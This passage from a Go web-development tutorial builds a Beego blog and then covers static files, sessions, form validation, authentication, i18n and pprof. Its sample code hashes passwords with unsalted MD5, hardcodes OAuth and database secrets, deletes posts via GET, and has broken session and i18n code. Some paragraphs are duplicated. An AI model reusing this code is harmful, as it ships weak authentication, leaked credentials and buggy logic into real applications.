- Previous section: Designing controllers
- Next section: Adding, deleting and updating blogs

13.5 Adding, deleting and updating blogs

We've already introduced the entire concept behind the Beego framework through examples and pseudo-code. This section will describe how to implement a blogging system using Beego, including the ability to browse, add, modify and delete blog posts.

Blog directory

Our blog's directory structure can be seen below:

```
/main.go
/views:
    /view.tpl
    /new.tpl
    /layout.tpl
    /index.tpl
    /edit.tpl
/models/model.go
/controllers:
    /index.go
    /view.go
    /new.go
    /delete.go
    /edit.go
```

Blog routing

Our blog's main routing rules are as follows:

```
//Show blog Home
beego.RegisterController("/", &controllers.IndexController{})
//View blog details
beego.RegisterController("/view/: id([0-9]+)", &controllers.ViewController{})
//Create blog Bowen
beego.RegisterController("/new", &controllers.NewController{})
//Delete Bowen
beego.RegisterController("/delete/: id([0-9]+)", &controllers.DeleteController{})
//Edit Bowen
beego.RegisterController("/edit/: id([0-9]+)", &controllers.EditController{})
```

Database structure

A trivial database table to store basic blog information:

```
CREATE TABLE entries (
    id INT AUTO_INCREMENT,
    title TEXT,
    content TEXT,
    created DATETIME,
    primary key (id)
);
```

Controller

IndexController:

```
type IndexController struct {
    beego.Controller
}

func (this *IndexController) Get() {
    this.Data["blogs"] = models.GetAll()
    this.Layout = "layout.tpl"
    this.TplNames = "index.tpl"
}
```

ViewController:

```
type ViewController struct {
    beego.Controller
}

func (this *ViewController) Get() {
    inputs := this.Input()
    id, _ := strconv.Atoi(this.Ctx.Params[":id"])
    this.Data["Post"] = models.GetBlog(id)
    this.Layout = "layout.tpl"
    this.TplNames = "view.tpl"
}
```

NewController

```
type NewController struct {
    beego.Controller
}

func (this *NewController) Get() {
    this.Layout = "layout.tpl"
    this.TplNames = "new.tpl"
}

func (this *NewController) Post() {
    inputs := this.Input()
    var blog models.Blog
    blog.Title = inputs.Get("title")
    blog.Content = inputs.Get("content")
    blog.Created = time.Now()
    models.SaveBlog(blog)
    this.Ctx.Redirect(302, "/")
}
```

EditController

```
type EditController struct {
    beego.Controller
}

func (this *EditController) Get() {
    inputs := this.Input()
    id, _ := strconv.Atoi(this.Ctx.Params[":id"])
    this.Data["Post"] = models.GetBlog(id)
    this.Layout = "layout.tpl"
    this.TplNames = "edit.tpl"
}

func (this *EditController) Post() {
    inputs := this.Input()
    var blog models.Blog
    blog.Id, _ = strconv.Atoi(inputs.Get("id"))
    blog.Title = inputs.Get("title")
    blog.Content = inputs.Get("content")
    blog.Created = time.Now()
    models.SaveBlog(blog)
    this.Ctx.Redirect(302, "/")
}
```

DeleteController

```
type DeleteController struct {
    beego.Controller
}

func (this *DeleteController) Get() {
    id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"])
    blog := models.GetBlog(id)
     this.Data["Post"] = blog
     models.DelBlog(blog)
     this.Ctx.Redirect(302, "/")
}
```

Model layer

```
package models

import (
    "database/sql"
    "github.com/astaxie/beedb"
    _ "github.com/ziutek/mymysql/godrv"
    "time"
)

type Blog struct {
    Id      int `PK`
    Title   string
    Content string
    Created time.Time
}

func GetLink() beedb.Model {
    db, err := sql.Open("mymysql", "blog/astaxie/123456")
    if err != nil {
        panic(err)
    }
    orm := beedb.New(db)
    return orm
}

func GetAll() (blogs []Blog) {
    db := GetLink()
    db.FindAll(&blogs)
    return
}

func GetBlog(id int) (blog Blog) {
    db := GetLink()
    db.Where("id=?", id).Find(&blog)
    return
}

func SaveBlog(blog Blog) (bg Blog) {
    db := GetLink()
    db.Save(&blog)
    return bg
}

func DelBlog(blog Blog) {
    db := GetLink()
    db.Delete(&blog)
    return
}
```

View layer

layout.tpl

```
<html>
<head>
    <title>My Blog</title>
    <style>
        #menu {
            width: 200px;
            float: right;
        }
    </style>
</head>
<body>

<ul id="menu">
    <li><a href="/">Home</a></li>
    <li><a href="/new">New Post</a></li>
</ul>

{{.LayoutContent}}

</body>
</html>
```

index.tpl

```
<h1>Blog posts</h1>

<ul>
{{range .blogs}}
    <li>
        <a href="/view/{{.Id}}">{{.Title}}</a>
        from {{.Created}}
        <a href="/edit/{{.Id}}">Edit</a>
        <a href="/delete/{{.Id}}">Delete</a>
    </li>
{{end}}
</ul>
```

view.tpl

```
<h1>{{.Post.Title}}</h1>
{{.Post.Created}}<br/>

{{.Post.Content}}
```

new.tpl

```
<h1>New Blog Post</h1>
<form action="" method="post">
Title:<input type="text" name="title"><br>
Content<textarea name="content" colspan="3" rowspan="10"></textarea>
<input type="submit">
</form>
```

edit.tpl

```
<h1>Edit {{.Post.Title}}</h1>

<h1>New Blog Post</h1>
<form action="" method="post">
Title:<input type="text" name="title" value="{{.Post.Title}}"><br>
Content<textarea name="content" colspan="3" rowspan="10">{{.Post.Content}}</textarea>
<input type="hidden" name="id" value="{{.Post.Id}}">
<input type="submit">
</form>
```

Links

- Directory
- Previous section: Logs and configurations
- Next section: Summary

13.6 Summary

In this chapter, we described how to implement the major components of a Go web framework. We first designed a router to make up for some of shortcomings in Go's built-in `http` package, creating a router capable of dynamic routing and REST support. We also designed our own RESTful Controller class in accord with the principles of MVC, borrowing ideas from frameworks such as Tornado. Next, we designed and implemented a template layout and automated rendering system, mainly using Go's built-in templating engine. We then implemented a custom logger and talked about framework configuration to allow for flexible application deployment. Through this process, we have implemented a basic web framework called Beego which, at present, has been open-sourced on Github. Lastly, we implemented a simple blogging application on top of Beego. After having gone through all of these examples, you will hopefully have learned how to quickly develop websites in Go.

Links

- Directory
- Previous section: Add, delete and update blogs
- Next chapter: Develop web framework

14 Developing a web framework

Chapter 13 described how to develop a web framework in Go. We introduced the MVC architecture, a routing and logging system system, and we also looked at simple server configuration. These are the basic building blocks of most frameworks, and it's a good start. However, for more sophisticated needs, some auxiliary tools are needed to facilitate rapid website development. In this chapter, we will provide some quick tips and tools for speeding up development. The first section will cover the how-to's how processing static files and we will be using Twitter's open source CSS and Javascript framework called Bootstrap for beautifying our website. The second section describes how to use the previously described sessions for user login processing. Next, the third section describes how to generate forms, and how to process these forms for valid data. We will also talk about how to bind models for CRUD operations. In section 4, we'll describe how to perform some user authentication including basic HTTP authentication and HTTP digest authentication. Finally, the last section will talk about implementing the previously described i18n, to support multi-lingual web applications.

By extending Beego in this chapter, we will be able to rapidly develop full stack web applications. Of course, we'll go through the features of these extensions step-by-step, applying them to the blogging system we developed in Chapter 13. Through the development of a complete and beautiful blogging system, users will hopefully be able to see how Beego can help to boost developer productivity.

Links

- Directory
- Previous chapter: Chapter 13 summary
- Next section: Static files

14.1 Static files

We've already talked about how to deal with static files in previous sections. Now, let's look at how to set up and use static files inside of Beego. Then, through introducing Twitter's open source HTML and CSS framework Bootstrap, we'll be able quickly create beautiful looking websites without having to do too much design work.

Beego static files and settings

Go's `net/http` package provides a static file server with functions such as `ServeFile` and `FileServer`. Beego's static file handling is based on this layer, and its specific implementation is as follow:

```
//static file server
for prefix, staticDir := range StaticDir {
    if strings.HasPrefix(r.URL.Path, prefix) {
        file := staticDir + r.URL.Path[len(prefix):]
        http.ServeFile(w, r, file)
        w.started = true
        return
    }
}
```

`StaticDir` stores the URL which corresponds to a static file directory, so when handling requests, we simply need to determine whether or not the URL begins with a static file path. If so, we can simply respond using `http.ServeFile`.

The following is an example:

```
beego.StaticDir["/asset"] = "/static"
```

Then, a request with a URL such as `http://www.beego.me/asset/bootstrap.css` will result in `/static/bootstrap.css` being served to the client.

Bootstrap integration

Bootstrap is an open source Toolkit for front-end development launched by Twitter. For developers, Bootstrap is one of the best front end kits for rapid Web application development. It is a collection of HTML, CSS and javascript components, using the latest HTML5 standards. These include a responsive grid, forms, buttons, tables, and many other useful things.

- Components Bootstrap contains a wealth of Web components. Using these components, you can quickly build a beautiful, fully functional website which includes the following components: Pull-down menus, button groups, button drop-down menus, navigation, navigation bars, bread crumbs, pagination, layout, thumbnails, warning dialogs, progress bars, and other media objects
- JavaScript plugins Bootstrap comes with 13 jQuery plug-ins for Bootstrap components, which gives them "life". These include: Modal dialogs, tabs, scroll bars, pop-up boxes and so on.
- Bootstrap framework customization All Bootstrap css variables can be modified according to your needs.

Figure 14.1 a bootstrap website

Next, let's see how we can use Bootstrap inside our Beego application to quickly create a beautiful website:

1. First, let's download the bootstrap directory into our project's static directory, as shown in the following screenshot:

Figure 14.2 Project static file directory structure

2. Because Beego sets a default value for `StaticDir`, if your static files directory is `static`, then you need not go any further:

   StaticDir["/static"] = "static"

3. Our templates use the following asset paths:

```
// css file
<link href="/static/css/bootstrap.css" rel="stylesheet">

// js file
<script src="/static/js/bootstrap-transition.js"></script>

// Picture files
<img src="/static/img/logo.png">
```

With the above code, we are integrating Bootstrap into our Beego application. The figure below demonstrates the rendered page:

Figure 14.3 website integrated with Bootstrap

These templates and formats all come shipped with Bootstrap so we won't repeat the complete code here, however you can take a look at the project's official page to learn how to write your own templates.

Links

- Directory
- Previous section: Developing a web framework
- Next section: Sessions

14.2 Sessions

In chapter 6, we introduced some basic concepts pertaining to sessions in Go, and we implemented a session manager. The Beego framework uses this session manager to implement some convenient session-handling functionality.

Integrating sessions

Beego handles sessions mainly according to the following global variables:

```
// related to session
SessionOn bool    // whether or not to open the session module. Defaults to false.
SessionProvider string    // the desired session backend processing module. Defaults to an in-memory sessionManager
SessionName string    // the name of the client saved cookies
SessionGCMaxLifetime int64    // cookie validity

GlobalSessions *session.Manager// global session controller
```

Of course, the values of these variables shown above need to be initialized. You can also use the values from the following configuration file code to set these values:

```
if ar, err := AppConfig.Bool("sessionon"); err != nil {
    SessionOn = false
} else {
    SessionOn = ar
}
if ar := AppConfig.String("sessionprovider"); ar == "" {
    SessionProvider = "memory"
} else {
    SessionProvider = ar
}
if ar := AppConfig.String("sessionname"); ar == "" {
    SessionName = "beegosessionID"
} else {
    SessionName = ar
}
if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 {
    int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64)
    SessionGCMaxLifetime = int64val
} else {
    SessionGCMaxLifetime = 3600
}
```

Add the following code in the `beego.Run` function:

```
if SessionOn {
    GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime)
    go GlobalSessions.GC()
}
```

As long as `SessionOn` is set to true, it will open the session by default with an independent goroutine session handler

In order to facilitate our custom Controller quickly using session, the author `beego.Controller` provides the following methods:

To assist us in quickly using sessions in a custom Controller, `beego.Controller` provides the following method:

```
func (c *Controller) StartSession() (sess session.Session) {
    sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request)
    return
}
```

Using sessions

From the code above, we can see that the Beego framework simply inherits its session functionality. So, how do we use it in our projects?

First of all, we need to open the session at the entry point of our application.

```
beego.SessionOn = true
```

We can then use the corresponding session method inside our controller like so:

```
func (this *MainController) Get() {
    var intcount int
    sess := this.StartSession()
    count := sess.Get("count")
    if count == nil {
        intcount = 0
    } else {
        intcount = count.(int)
    }
    intcount = intcount + 1
    sess.Set("count", intcount)
    this.Data["Username"] = "astaxie"
    this.Data["Email"] = "astaxie@gmail.com"
    this.Data["Count"] = intcount
    this.TplNames = "index.tpl"
}
```

The code above shows how to use sessions in the controller logic. The process can be divided into two steps:

1. Getting session object

   ```
   // Get the object, similar in PHP session_start()
   sess:= this.StartSession()
   ```

2. Using the session for general operations

   ```
   // Get the session values , similar in PHP $ _SESSION ["count"]
   sess.Get("count")

   // Set the session value
   sess.Set("count", intcount)
   ```

As you can see, applications based on the Beego framework can easily implement sessions. The process is very similar to calling `session_start()` in PHP applications.

Links

- Directory
- Previous section: Static files
- Next section: Forms

14.3 Forms

In web development, the following workflow will probably look quite familiar:

- Open a web page showing a form
- Users fill out and submit the form
- If a user submits some invalid information or has neglected to fill out a required field, the form will be returned to the user (along with the filled in data) with some descriptive information about the problem.
- Users re-fill the invalid fields and continue attempting to submit the form until it's accepted

At the receiving end, the script must:

- Check the user submitted form data.
- Verify whether the data is the correct type and of the appropriate standard. For example, if a username is submitted, it must verify that it contains only valid characters. Other examples would be checking for minimum and maximum lengths, username uniqueness, and so on.
- Filtering data and cleaning up unsafe characters to guarantee that our application only processes data which is safe.
- If necessary, pre-format the data (or data gaps need to be cleared through the HTML coding and so on.)
- Prepare the data for insertion into the database

Although the procedure is not very complex, it usually requires a lot of boilerplate. In addition, web applications often use a variety of different control structures to display error messages on returned pages. Implementing form validation is a simple but boring task.

Forms and validation

For developers, the general development process can be quite complex, but it's mostly repetitive work. Suppose a scenario arises where you suddenly need to add a form to your project, causing you to rewrite all of the local code tied in with the form. We know that `structs` are a very commonly used data structure in Go, and Beego uses them to its advantage for processing form information.

First, we define a `struct` with fields corresponding to the fields in our form element. We can use `struct` tags which map to the form element, as shown below:

When developing Web applications, first define a struct that matches a field to a corresponding form element, defined by using a struct tag corresponding to the element information and authentication information, as shown below:

For developers, the general development process is very complex, and mostly consists of repeating the same work process. Assuming a scenario for a project whereby a need arises to add data to a form, then the local code of the entire process needs to be modified. We know in Go a struct is a common data structure, so beego uses a form struct to process form information.

First define a `struct` with fields corresponding to our form element, using `struct` tags to define the corresponding form element and authentication information, like so:

```
type User struct{
    Username     string     `form:text,valid:required`
    Nickname     string     `form:text,valid:required`
    Age        int     `form:text,valid:required|numeric`
    Email         string     `form:text,valid:required|valid_email`
    Introduce     string     `form:textarea`
}
```

After defining our `struct`, we can add this action in our controller:

```
func (this *AddController) Get() {
    this.Data["form"] = beego.Form(&User{})
    this.Layout = "admin/layout.html"
    this.TplNames = "admin/add.tpl"
}
```

The form is displayed in our template like so:

```
<h1>New Blog Post</h1>
<form action="" method="post">
{{.form.render()}}
</form>
```

Above, we've defined the entire first step of displaying a form mapped to a `struct`. The next step is for users to fill in their information and submit the form, after which the server will receive the data and verify it. Finally, the record will be inserted into the database.

```
func (this *AddController) Post() {
    var user User
    form := this.GetInput(&user)
    if !form.Validates() {
        return
    }
    models.UserInsert(&user)
    this.Ctx.Redirect(302, "/admin/index")
}
```

Form type

The following table lists the corresponding form element information:

```
<table cellpadding="0" cellspacing="1" border="0" style="width:100%" class="tableborder">
  <tbody>
    <tr>
      <th>Name</th>
      <th>parameter</th>
      <th>Description</th>
    </tr>
    <tr>
      <td class="td"><strong>text</strong>
      </td>
      <td class="td">No</td>
      <td class="td">textbox input box</td>
    </tr>

    <tr>
      <td class="td"><strong>button</strong>
      </td>
      <td class="td">No</td>
      <td class="td">button</td>
    </tr>

    <tr>
      <td class="td"><strong>checkbox</strong>
      </td>
      <td class="td">No</td>
      <td class="td">multi-select box</td>
    </tr>

    <tr>
      <td class="td"><strong>dropdown</strong>
      </td>
      <td class="td">No</td>
      <td class="td">drop-down selection box</td>
```

```
    </tr>

    <tr>
      <td class="td"><strong>file</strong>
      </td>
      <td class="td">No</td>
      <td class="td">file upload</td>
    </tr>

    <tr>
      <td class="td"><strong>hidden</strong>
      </td>
      <td class="td">No</td>
      <td class="td">hidden elements</td>
    </tr>

    <tr>
      <td class="td"><strong>password</strong>
      </td>
      <td class="td">No</td>
      <td class="td">password input box</td>
    </tr>

    <tr>
      <td class="td"><strong>radio</strong>
      </td>
      <td class="td">No</td>
      <td class="td">single box</td>
    </tr>

    <tr>
      <td class="td"><strong>textarea</strong>
      </td>
      <td class="td">No</td>
      <td class="td">text input box</td>
    </tr>
  </tbody>
</table>
```

Form validation

The following table lists some form validation rules native to Beego that can be used:

```
<table cellpadding="0" cellspacing="1" border="0" style="width:100%" class="tableborder">
  <tbody>
    <tr>
      <th>rules</th>
      <th>parameter</th>
      <th>Description</th>
      <th>Example</th>
    </tr>

    <tr>
      <td class="td"><strong>required</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the element is empty, it returns FALSE</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>matches</strong>
      </td>
      <td class="td">Yes</td>
      <td class="td">if the form element's value with the corresponding form field parameter values are not equal, th
en return
        FALSE</td>
      <td class="td">matches [form_item]</td>
    </tr>
```

```
    <tr>

      <td class="td"><strong>is_unique</strong>
      </td>

      <td class="td">Yes</td>

      <td class="td">if the form element's value with the specified field in a table has duplicate data, it returns F
alse( Translator's
        Note: For example is_unique [User.Email], then the validation class will look for the User table in the
        Email field there is no form elements with the same value, such as deposit repeat, it returns false, so
        developers do not have to write another Callback verification code.)</td>

      <td class="td">is_unique [table.field]</td>
      </tr>

    <tr>
      <td class="td"><strong>min_length</strong>
      </td>
      <td class="td">Yes</td>
      <td class="td">form element values if the character length is less than the number of defined parameters, it re
turns FALSE</td>
      <td class="td">min_length [6]</td>
    </tr>

    <tr>
      <td class="td"><strong>max_length</strong>
      </td>
      <td class="td">Yes</td>
      <td class="td">if the form element's value is greater than the length of the character defined numeric argument
, it returns
        FALSE</td>
      <td class="td">max_length [12]</td>
    </tr>

    <tr>
      <td class="td"><strong>exact_length</strong>
      </td>
      <td class="td">Yes</td>
      <td class="td">if the form element values and parameters defined character length number does not match, it ret
urns FALSE</td>
      <td class="td">exact_length [8]</td>
    </tr>


    <tr>

      <td class="td"><strong>greater_than</strong>
      </td>

      <td class="td">Yes</td>

      <td class="td">If the form element values non- numeric types, or less than the value defined parameters, it ret
urns FALSE</td>

      <td class="td">greater_than [8]</td>
      </tr>


    <tr>

      <td class="td"><strong>less_than</strong>
      </td>

      <td class="td">Yes</td>

      <td class="td">If the form element values non- numeric types, or greater than the value defined parameters, it
returns FALSE</td>

      <td class="td">less_than [8]</td>
```

```
      </tr>

    <tr>
      <td class="td"><strong>alpha</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the form element value contains characters other than letters besides, it returns FALSE</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>alpha_numeric</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the form element values contained in addition to letters and other characters other than numb
ers, it returns
        FALSE</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>alpha_dash</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the form element value contains in addition to the letter/ number/ underline/ characters othe
r than dash,
        returns FALSE</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>numeric</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the form element value contains characters other than numbers in addition, it returns FALSE</
td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>integer</strong>
      </td>
      <td class="td">No</td>
      <td class="td">except if the form element contains characters other than an integer, it returns FALSE</td>
      <td class="td"></td>
    </tr>


    <tr>

      <td class="td"><strong>decimal</strong>
      </td>

      <td class="td">Yes</td>

      <td class="td">If the form element type( non- decimal ) is not complete, it returns FALSE</td>

      <td class="td"></td>
      </tr>

    <tr>
      <td class="td"><strong>is_natural</strong>
      </td>
      <td class="td">No</td>
      <td class="td">value if the form element contains a number of other unnatural values ( other values excluding z
ero ), it
        returns FALSE. Natural numbers like this: 0,1,2,3.... and so on.</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>is_natural_no_zero</strong>
```

```
      </td>
      <td class="td">No</td>
      <td class="td">value if the form element contains a number of other unnatural values ( other values including z
ero ), it
        returns FALSE. Nonzero natural numbers: 1,2,3..... and so on.</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>valid_email</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the form element value contains invalid email address, it returns FALSE</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>valid_emails</strong>
      </td>
      <td class="td">No</td>
      <td class="td">form element values if any one value contains invalid email address( addresses separated by comm
as in English
        ), it returns FALSE.</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>valid_ip</strong>
      </td>
      <td class="td">No</td>
      <td class="td">if the form element's value is not a valid IP address, it returns FALSE.</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>valid_base64</strong>
      </td>
      <td class="td">No</td>
      <td class="td">if the form element's value contains the base64-encoded characters in addition to other than the
 characters,
        returns FALSE.</td>
      <td class="td"></td>
    </tr>

  </tbody>
</table>
```

Links

- Directory
- Previous section: Sessions
- Next section: User validation

14.4 User validation

In the process of developing web applications, user authentication is a problem which developers frequently encounter. User login, registration and logout, among other operations, as well as general authentication can be divided into three parts:

- HTTP Basic, and HTTP Digest Authentication
- Third Party Authentication Integration: QQ, micro-blogging, watercress, OPENID, Google, GitHub, Facebook and twitter, etc.
- Custom user login, registration, logout, are generally based on sessions and cookie authentication

Beego does not natively provide support for any of these three things, however you can easily make use of existing third party open source libraries to implement them. The first two authentication solutions are on Beego's roadmap to eventually be integrated.

HTTP basic and digest authentication

Both HTTP basic and digest authentication are relatively simple techniques commonly used by web applications. There are already many open source third-party libraries which support these two authentication methods, such as:

```
github.com/abbot/go-http-auth
```

The following code demonstrates how to use this library to implement authentication in a Beego application:

```
package controllers

import (
    "github.com/abbot/go-http-auth"
    "github.com/astaxie/beego"
)

func Secret(user, realm string) string {
    if user == "john" {
        // password is "hello"
        return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"
    }
    return ""
}

type MainController struct {
    beego.Controller
}

func (this *MainController) Prepare() {
    a := auth.NewBasicAuthenticator("example.com", Secret)
    if username := a.CheckAuth(this.Ctx.Request); username == "" {
        a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request)
    }
}

func (this *MainController) Get() {
    this.Data["Username"] = "astaxie"
    this.Data["Email"] = "astaxie@gmail.com"
    this.TplNames = "index.tpl"
}
```

The above code takes advantage of Beego's `prepare()` function to perform authentication before allowing the normal flow of execution to proceed; as you can see, it's very simple to implement HTTP authentication. Digest authentication can be implemented in much the same way.

OAuth and OAuth 2 authentication

OAuth and OAuth 2 are currently two of the most popular authentication methods. Fortunately, there are third-party libraries which implement this type of authentication such as the `go.auth` package available on github.

```
github.com/bradrydzewski/go.auth
```

The code below demonstrates how to use this library to implement OAuth authentication in Beego using our Github credentials:

1. Let's add some routes

```
beego.RegisterController("/auth/login", &controllers.GithubController{})
beego.RegisterController("/mainpage", &controllers.PageController{})
```

2. Then we deal with the `GithubController` landing page:

```
package controllers

import (
    "github.com/astaxie/beego"
    "github.com/bradrydzewski/go.auth"
)

const (
    githubClientKey = "a0864ea791ce7e7bd0df"
    githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca"
)

type GithubController struct {
    beego.Controller
}

func (this *GithubController) Get() {
    // set the auth parameters
    auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV")
    auth.Config.LoginSuccessRedirect = "/mainpage"
    auth.Config.CookieSecure = false

    githubHandler := auth.Github(githubClientKey, githubSecretKey)

    githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request)
}
```

3. Handling after a successful landing page:

```
package controllers

import (
    "github.com/astaxie/beego"
    "github.com/bradrydzewski/go.auth"
    "net/http"
    "net/url"
)

type PageController struct {
    beego.Controller
}

func (this *PageController) Get() {
    // set the auth parameters
    auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV")
    auth.Config.LoginSuccessRedirect = "/mainpage"
    auth.Config.CookieSecure = false

    user, err := auth.GetUserCookie(this.Ctx.Request)

    //if no active user session then authorize user
    if err != nil || user.Id() == "" {
        http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther
)
        return
    }

    //else, add the user to the URL and continue
    this.Ctx.Request.URL.User = url.User(user.Id())
    this.Data["pic"] = user.Picture()
    this.Data["id"] = user.Id()
    this.Data["name"] = user.Name()
    this.TplNames = "home.tpl"
}
```

The whole process is as follows:

first open your browser and enter the address:

Figure 14.4 shows the home page with a login button

When clicking on the link, the following screen appears:

Figure 14.5 displayed after clicking the login button to authenticate with your GitHub credentials

After clicking "Authorize app", the following screen appears:

Figure 14.6 authorized Github information gets displayed after the login page

Custom authentication

Custom authentication is generally combined with session authentication; the following code is a Beego based open source blog which demonstrates this:

```
//Login process
func (this *LoginController) Post() {
    this.TplNames = "login.tpl"
    this.Ctx.Request.ParseForm()
    username := this.Ctx.Request.Form.Get("username")
```

```
    password := this.Ctx.Request.Form.Get("password")
    md5Password := md5.New()
    io.WriteString(md5Password, password)
    buffer := bytes.NewBuffer(nil)
    fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
    newPass := buffer.String()

    now := time.Now().Format("2006-01-02 15:04:05")

    userInfo := models.GetUserInfo(username)
    if userInfo.Password == newPass {
        var users models.User
        users.Last_logintime = now
        models.UpdateUserInfo(users)

        //Set the session successful login
        sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
        sess.Set("uid", userInfo.Id)
        sess.Set("uname", userInfo.Username)

        this.Ctx.Redirect(302, "/")
    }
}

//Registration process
func (this *RegController) Post() {
    this.TplNames = "reg.tpl"
    this.Ctx.Request.ParseForm()
    username := this.Ctx.Request.Form.Get("username")
    password := this.Ctx.Request.Form.Get("password")
    usererr := checkUsername(username)
    fmt.Println(usererr)
    if usererr == false {
        this.Data["UsernameErr"] = "Username error, Please to again"
        return
    }

    passerr := checkPassword(password)
    if passerr == false {
        this.Data["PasswordErr"] = "Password error, Please to again"
        return
    }

    md5Password := md5.New()
    io.WriteString(md5Password, password)
    buffer := bytes.NewBuffer(nil)
    fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
    newPass := buffer.String()

    now := time.Now().Format("2006-01-02 15:04:05")

    userInfo := models.GetUserInfo(username)

    if userInfo.Username == "" {
        var users models.User
        users.Username = username
        users.Password = newPass
        users.Created = now
        users.Last_logintime = now
        models.AddUser(users)

        //Set the session successful login
        sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
        sess.Set("uid", userInfo.Id)
        sess.Set("uname", userInfo.Username)
        this.Ctx.Redirect(302, "/")
    } else {
        this.Data["UsernameErr"] = "User already exists"
    }

}
```

```
func checkPassword(password string) (b bool) {
    if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok {
        return false
    }
    return true
}

func checkUsername(username string) (b bool) {
    if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok {
        return false
    }
    return true
}
```

Once you have implemented user login and registration, other modules can be added to determine whether the user has been logged in or not:

```
func (this *AddBlogController) Prepare() {
    sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
    sess_uid := sess.Get("userid")
    sess_username := sess.Get("username")
    if sess_uid == nil {
        this.Ctx.Redirect(302, "/admin/login")
        return
    }
    this.Data["Username"] = sess_username
}
```

Links

- Directory
- Previous section: Form
- Next section: Multi-language support

14.5 Multi-language support

In the chapter where we introduced internationalization and localization, we developed the `go-i18n` library. In this section, we will see how this library is integrated into the Beego framework, and how it enables our Beego applications to support both internationalization and localization.

I18n integration

Beego first sets some global variables:

```
Translation i18n.IL
Lang string // set the language pack, zh, en
LangPath string // set the language pack location
```

A multi-language initialization function is defined:

```
func InitLang(){
    beego.Translation:=i18n.NewLocale()
    beego.Translation.LoadPath(beego.LangPath)
    beego.Translation.SetLocale(beego.Lang)
}
```

In order to facilitate multi-language calls in the template package directly, we designed three functions for handling multi-language responses:

```
beegoTplFuncMap["Trans"] = i18n.I18nT
beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate
beegoTplFuncMap["TransMoney"] = i18n.I18nMoney

func I18nT(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Translate(s)
}

func I18nTimeDate(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Time(s)
}

func I18nMoney(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Money(s)
}
```

Multi-language development

1. Setting the language and location of the language pack, then initialize i18n objects:

   ```
   beego.Lang = "zh"
   beego.LangPath = "views/lang"
   beego.InitLang()
   ```

2. Designing a multi-language package

   Above, we talked about how to initialize a multi-language package. Now, let's look at how to design one. Multi-language packages are typically JSON files, as you've already seen in Chapter 10. We must provide translation files for languages we wish to support on our `LangPath`, such as the following:

```
# zh.json

{
"zh": {
    "submit": "提交",
    "create": "创建"
    }
}

#en.json

{
"en": {
    "submit": "Submit",
    "create": "Create"
    }
}
```

3. Using language packages

   We can call the controller to get the translated response in the desired language, like so:

```
func (this *MainController) Get() {
    this.Data["create"] = beego.Translation.Translate("create")
    this.TplNames = "index.tpl"
}
```

   We can also directly interpolate translated responses in our templates:

```
// Direct Text translation
{{.create | Trans}}

// Time to translate
{{.time | TransDate}}

// Currency translation
{{.money | TransMoney}}
```

Links

- Directory
- Previous section: User validation
- Next section: pprof

14.6 pprof

A great feature of Go's standard library is its code performance monitoring tools. These packages exist in two places:

```
net/http/pprof

runtime/pprof
```

In fact, `net/http/pprof` simply exposes runtime profiling data from the `runtime/pprof` package on an HTTP port.

pprof support in Beego

The Beego framework currently supports pprof, however it is not turned on by default. If you need to test the performance of your application, (for instance by viewing the execution goroutine) such information from Go's default package "net/http/pprof" already has this feature. Because beego has repackaged the ServHTTP function, you can not open the default feature included in pprof. This resulted in beego supporting pprof internally.

- First in our `beego.Run` function, we choose whether or not to automatically load the performance pack according to our configuration variable (in this case, PprofOn):

```
if PprofOn {
    BeeApp.RegisterController(`/debug/pprof`, &ProfController{})
    BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{})
}
```

- Designing `ProfController`

```
package beego

import (
    "net/http/pprof"
)

type ProfController struct {
    Controller
}

func (this *ProfController) Get() {
    switch this.Ctx.Params[":pp"] {
    default:
        pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "":
        pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "cmdline":
